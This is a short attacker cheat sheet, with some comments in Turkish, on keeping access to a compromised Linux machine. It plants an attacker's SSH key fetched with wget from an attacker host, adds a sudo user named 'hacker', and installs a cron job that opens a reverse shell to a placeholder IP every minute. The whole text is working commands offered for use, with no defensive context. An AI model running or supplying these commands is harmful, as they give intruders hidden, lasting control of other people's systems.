Linux Persistence

SSH Persistence

# Eğer id_rsa yoksa
ssh-keygen -t rsa
cd /root/.ssh
chmod 600 id_rsa
python -m http.server 80

# Hedef
mkdir .ssh
chmod 700 .ssh
cd .ssh
wget 192.168.1.2/id_rsa.pub -O authorized_keys
chmod 600 authorized_keys

User Persistence

useradd -m -s /bin/bash hacker
usermod -aG sudo hacker
passwd hacker

ssh hacker@192.168.1.3

Cron Persistence

echo "* * * * * /bin/bash -c 'bash -i >& /dev/tcp/<IP>/1234 0>&1'" > cron
crontab -i cron
crontab -l